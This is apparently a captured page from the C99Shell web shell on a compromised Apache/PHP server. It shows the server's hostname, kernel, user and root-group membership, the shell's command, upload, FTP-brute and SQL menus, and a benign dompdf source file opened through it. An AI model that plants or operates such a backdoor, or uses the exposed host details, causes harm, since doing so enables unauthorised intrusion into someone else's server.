!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/sms.picotech.app/public_html/vendor/dompdf/dompdf/src/FrameDecorator/   drwxr-xr-x
Free 28.74 GB of 117.98 GB (24.36%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     ListBulletImage.php (2.72 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
/**
 * @package dompdf
 * @link    https://github.com/dompdf/dompdf
 * @license http://www.gnu.org/copyleft/lesser.html GNU Lesser General Public License
 */
namespace Dompdf\FrameDecorator;

use 
Dompdf\Dompdf;
use 
Dompdf\Frame;
use 
Dompdf\Helpers;
use 
Dompdf\Image\Cache;

/**
 * Decorates frames for list bullets with custom images
 *
 * @package dompdf
 */
class ListBulletImage extends ListBullet
{

    
/**
     * The underlying image frame
     *
     * @var Image
     */
    
protected $_img;

    
/**
     * The image's width in pixels
     *
     * @var float
     */
    
protected $_width;

    
/**
     * The image's height in pixels
     *
     * @var float
     */
    
protected $_height;

    
/**
     * ListBulletImage constructor.
     * @param Frame $frame
     * @param Dompdf $dompdf
     */
    
function __construct(Frame $frameDompdf $dompdf)
    {
        
$style $frame->get_style();
        
$url $style->list_style_image;
        
$frame->get_node()->setAttribute("src"$url);
        
$this->_img = new Image($frame$dompdf);
        
parent::__construct($this->_img$dompdf);

        
$url $this->_img->get_image_url();

        if (
Cache::is_broken($url)) {
            
$this->_width parent::get_width();
            
$this->_height parent::get_height();
        } else {
            
// Resample the bullet image to be consistent with 'auto' sized images
            
[$width$height] = $this->_img->get_intrinsic_dimensions();
            
$this->_width $this->_img->resample($width);
            
$this->_height $this->_img->resample($height);
        }
    }

    public function 
get_width(): float
    
{
        return 
$this->_width;
    }

    public function 
get_height(): float
    
{
        return 
$this->_height;
    }

    public function 
get_margin_width(): float
    
{
        
$style $this->get_style();
        return 
$this->_width $style->font_size self::MARKER_INDENT;
    }

    public function 
get_margin_height(): float
    
{
        
$fontMetrics $this->_dompdf->getFontMetrics();
        
$style $this->get_style();
        
$font $style->font_family;
        
$size $style->font_size;
        
$fontHeight $fontMetrics->getFontHeight($font$size);
        
$baseline $fontMetrics->getFontBaseline($font$size);

        
// This is the same factor as used in
        // `FrameDecorator\Text::get_margin_height()`
        
$f $style->line_height / ($size $size 1);

        
// FIXME: Tries to approximate replacing the space above the font
        // baseline with the image
        
return $f * ($fontHeight $baseline) + $this->_height;
    }

    
/**
     * Return image url
     *
     * @return string
     */
    
function get_image_url()
    {
        return 
$this->_img->get_image_url();
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0044 ]--